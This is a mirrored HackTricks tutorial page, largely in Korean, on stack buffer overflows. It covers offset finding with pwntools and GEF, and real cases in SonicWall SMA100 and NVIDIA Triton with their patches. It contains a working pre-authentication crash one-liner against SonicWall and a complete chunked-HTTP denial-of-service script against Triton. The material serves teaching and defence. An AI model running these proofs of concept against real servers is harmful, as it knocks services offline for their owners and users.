mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
202 lines
11 KiB
Markdown
202 lines
11 KiB
Markdown
# Stack Overflow
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Stack Overflow란 무엇인가
|
||
|
||
A **stack overflow**는 프로그램이 스택에 할당된 용량보다 더 많은 데이터를 쓸 때 발생하는 취약점입니다. 이러한 초과 데이터는 **인접한 메모리 공간을 덮어쓰게 되어**, 유효한 데이터 손상, 제어 흐름의 교란, 그리고 잠재적으로 악성 코드 실행으로 이어질 수 있습니다. 이 문제는 종종 입력에 대해 경계 검사를 수행하지 않는 안전하지 않은 함수의 사용으로 인해 발생합니다.
|
||
|
||
이 덮어쓰기의 주요 문제는 이전 함수로 복귀하기 위해 저장되는 **saved instruction pointer (EIP/RIP)**와 **saved base pointer (EBP/RBP)**가 **스택에 저장되어 있다는 것**입니다. 따라서 공격자는 이를 덮어써서 프로그램의 실행 흐름을 **제어할 수 있게 됩니다**.
|
||
|
||
이 취약점은 일반적으로 함수가 **스택 내부에 할당된 것보다 더 많은 바이트를 복사**하기 때문에 발생하며, 그 결과 스택의 다른 부분을 덮어쓸 수 있게 됩니다.
|
||
|
||
취약하기 쉬운 일반적인 함수로는 **`strcpy`, `strcat`, `sprintf`, `gets`** 등이 있습니다. 또한 **`fgets`**, **`read`** 및 **`memcpy`**처럼 **length argument**를 받는 함수들도, 지정한 길이가 할당된 크기보다 클 경우 취약하게 사용될 수 있습니다.
|
||
|
||
예를 들어, 다음 함수들이 취약할 수 있습니다:
|
||
```c
|
||
void vulnerable() {
|
||
char buffer[128];
|
||
printf("Enter some text: ");
|
||
gets(buffer); // This is where the vulnerability lies
|
||
printf("You entered: %s\n", buffer);
|
||
}
|
||
```
|
||
### Stack Overflow offsets 찾기
|
||
|
||
가장 흔한 방법은 매우 큰 `A` 입력(예: `python3 -c 'print("A"*1000)'`)을 주고 `Segmentation Fault`를 기대하는 것이다. 이는 **주소 `0x41414141`에 접근하려고 시도함**을 나타낸다.
|
||
|
||
또한, Stack Overflow 취약점을 발견하면 return address를 덮어쓸 수 있을 때까지의 offset을 찾아야 하는데, 이를 위해 보통 **De Bruijn sequence**가 사용된다. 이는 주어진 알파벳 크기 _k_와 부분수열 길이 _n_에 대해, 길이 _n_인 모든 가능한 부분수열이 정확히 한 번씩 연속적으로 나타나는 **순환 시퀀스**다.
|
||
|
||
이 방법을 사용하면 수동으로 EIP를 제어하기 위한 offset을 알아내는 대신, 패딩으로 이 시퀀스 중 하나를 사용하고 어느 바이트가 덮어썼는지 찾아 offset을 확인할 수 있다.
|
||
|
||
It's possible to use **pwntools** for this:
|
||
```python
|
||
from pwn import *
|
||
|
||
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
|
||
pattern = cyclic(1000)
|
||
|
||
# This is an example value that you'd have found in the EIP/IP register upon crash
|
||
eip_value = p32(0x6161616c)
|
||
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
|
||
print(f"The offset is: {offset}")
|
||
```
|
||
또는 **GEF**:
|
||
```bash
|
||
#Patterns
|
||
pattern create 200 #Generate length 200 pattern
|
||
pattern search "avaaawaa" #Search for the offset of that substring
|
||
pattern search $rsp #Search the offset given the content of $rsp
|
||
```
|
||
## Exploiting Stack Overflows
|
||
|
||
오버플로우가 발생하면(오버플로우 크기가 충분히 큰 경우) 스택 내의 지역 변수 값들을 저장된 **EBP/RBP and EIP/RIP (or even more)**에 도달할 때까지 **덮어쓸 수** 있습니다.\
|
||
이 취약점을 악용하는 가장 일반적인 방법은 **리턴 주소를 수정**하여 함수가 종료될 때 이 포인터에 지정한 위치로 **제어 흐름이 전환되게 하는 것**입니다.
|
||
|
||
하지만 다른 경우에는 스택의 일부 변수 값만 **덮어쓰는 것**만으로도 익스플로잉이 가능한 경우가 있습니다(예: 쉬운 CTF 문제들).
|
||
|
||
### Ret2win
|
||
|
||
In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) would be disabled) so when the vulnerable function returns, the hidden function will be called:
|
||
|
||
|
||
{{#ref}}
|
||
ret2win/
|
||
{{#endref}}
|
||
|
||
### Stack Shellcode
|
||
|
||
In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:
|
||
|
||
|
||
{{#ref}}
|
||
stack-shellcode/
|
||
{{#endref}}
|
||
|
||
### Windows SEH-based exploitation (nSEH/SEH)
|
||
|
||
32-bit Windows 환경에서는 오버플로우가 저장된 리턴 주소 대신 Structured Exception Handler (SEH) 체인을 덮어쓸 수 있습니다. 익스플로잉은 일반적으로 SEH 포인터를 POP POP RET gadget으로 교체하고 4바이트 nSEH 필드를 짧은 점프로 사용하여 shellcode가 존재하는 큰 버퍼로 다시 피벗합니다. 흔한 패턴으로는 nSEH에 있는 짧은 jmp가 nSEH 바로 앞에 놓인 5바이트 near jmp로 착지하여 페이로드 시작점으로 수백 바이트를 되돌아가게 하는 경우가 있습니다.
|
||
|
||
|
||
{{#ref}}
|
||
windows-seh-overflow.md
|
||
{{#endref}}
|
||
|
||
### ROP & Ret2... techniques
|
||
|
||
이 기법은 이전 기법의 주요 보호 메커니즘인 **No executable stack (NX)**를 우회하기 위한 근본적인 프레임워크입니다. 또한 기존 바이너리의 명령들을 악용해 임의 명령을 실행하는 다양한 기법(ret2lib, ret2syscall...)을 수행할 수 있게 합니다:
|
||
|
||
|
||
{{#ref}}
|
||
../rop-return-oriented-programing/
|
||
{{#endref}}
|
||
|
||
## Heap Overflows
|
||
|
||
오버플로우가 항상 스택에서 발생하는 것은 아니며, 예를 들어 **heap**에서도 발생할 수 있습니다:
|
||
|
||
|
||
{{#ref}}
|
||
../libc-heap/heap-overflow.md
|
||
{{#endref}}
|
||
|
||
## Types of protections
|
||
|
||
취약점 악용을 방지하기 위해 여러 보호 기법들이 존재합니다. 자세한 내용은 다음을 확인하세요:
|
||
|
||
|
||
{{#ref}}
|
||
../common-binary-protections-and-bypasses/
|
||
{{#endref}}
|
||
|
||
### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
|
||
|
||
비신뢰 입력을 파싱할 때는 **`sscanf`를 절대 신뢰하면 안 된다**는 점을 잘 보여주는 사례가 2025년 SonicWall의 SMA100 SSL-VPN 어플라이언스에서 등장했습니다. `/usr/src/EasyAccess/bin/httpd` 내부의 취약한 루틴은 `/__api__/`로 시작하는 모든 URI에서 버전과 엔드포인트를 추출하려고 시도합니다:
|
||
```c
|
||
char version[3];
|
||
char endpoint[0x800] = {0};
|
||
/* simplified proto-type */
|
||
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||
```
|
||
1. 첫 번째 변환 (`%2s`)은 `version`에 **두** 바이트를 안전하게 저장합니다(예: `"v1"`).
|
||
2. 두 번째 변환 (`%s`)에는 **길이 지정자가 없습니다**, 따라서 `sscanf`는 **첫 번째 NUL 바이트까지** 계속 복사합니다.
|
||
3. `endpoint`가 **stack**에 위치하고 **0x800 bytes long**이기 때문에, 0x800 bytes보다 긴 경로를 제공하면 버퍼 뒤에 있는 모든 것이 손상됩니다 ‑ 여기에는 **stack canary**와 **saved return address**가 포함됩니다.
|
||
|
||
한 줄짜리 proof-of-concept만으로도 **인증 전에** 크래시를 유발하기에 충분합니다:
|
||
```python
|
||
import requests, warnings
|
||
warnings.filterwarnings('ignore')
|
||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||
requests.get(url, verify=False)
|
||
```
|
||
Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). The lesson is simple:
|
||
|
||
* 항상 **최대 필드 너비**를 지정하라 (예: `%511s`).
|
||
* `snprintf`/`strncpy_s` 같은 더 안전한 대안을 선호하라.
|
||
|
||
### 실제 사례: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||
|
||
NVIDIA’s Triton Inference Server (≤ v25.06) contained multiple **stack-based overflows** reachable through its HTTP API.
|
||
취약한 패턴은 `http_server.cc`와 `sagemaker_server.cc`에서 반복적으로 나타났다:
|
||
```c
|
||
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
|
||
if (n > 0) {
|
||
/* allocates 16 * n bytes on the stack */
|
||
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
|
||
alloca(sizeof(struct evbuffer_iovec) * n);
|
||
...
|
||
}
|
||
```
|
||
1. `evbuffer_peek` (libevent)는 현재 HTTP 요청 본문을 구성하는 **내부 버퍼 세그먼트의 수**를 반환한다.
|
||
2. 각 세그먼트는 `alloca()`를 통해 **16-byte** 크기의 `evbuffer_iovec`를 **stack**에 할당하게 되며 – **상한이 전혀 없다**.
|
||
3. **HTTP _chunked transfer-encoding_**을 악용하면, 클라이언트는 요청을 수십만 개의 6-byte 청크 (`"1\r\nA\r\n"`)로 분할하도록 강제할 수 있다. 이로 인해 `n`이 stack이 소진될 때까지 무한히 증가한다.
|
||
|
||
#### 개념 증명 (DoS)
|
||
```python
|
||
#!/usr/bin/env python3
|
||
import socket, sys
|
||
|
||
def exploit(host="localhost", port=8000, chunks=523_800):
|
||
s = socket.create_connection((host, port))
|
||
s.sendall((
|
||
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
|
||
f"Host: {host}:{port}\r\n"
|
||
"Content-Type: application/octet-stream\r\n"
|
||
"Inference-Header-Content-Length: 0\r\n"
|
||
"Transfer-Encoding: chunked\r\n"
|
||
"Connection: close\r\n\r\n"
|
||
).encode())
|
||
|
||
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
|
||
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
|
||
s.sendall(b"0\r\n\r\n") # end of chunks
|
||
s.close()
|
||
|
||
if __name__ == "__main__":
|
||
exploit(*sys.argv[1:])
|
||
```
|
||
대략 3MB의 요청으로 저장된 반환 주소를 덮어쓰고 기본 빌드에서 데몬을 **crash**시킬 수 있습니다.
|
||
|
||
#### 패치 및 완화
|
||
25.07 릴리스는 안전하지 않은 스택 할당을 **힙 기반 `std::vector`**로 교체하고 `std::bad_alloc`을 적절히 처리합니다:
|
||
```c++
|
||
std::vector<evbuffer_iovec> v_vec;
|
||
try {
|
||
v_vec = std::vector<evbuffer_iovec>(n);
|
||
} catch (const std::bad_alloc &e) {
|
||
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
|
||
}
|
||
struct evbuffer_iovec *v = v_vec.data();
|
||
```
|
||
배운 점:
|
||
* 공격자가 제어하는 크기로 `alloca()`를 호출하지 마세요.
|
||
* Chunked requests는 server-side buffers의 형태를 급격히 바꿀 수 있습니다.
|
||
* client input에서 유도된 모든 값은 memory allocations에 사용하기 *before* 반드시 검증하고 제한하세요.
|
||
|
||
## 참고자료
|
||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
|
||
* [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|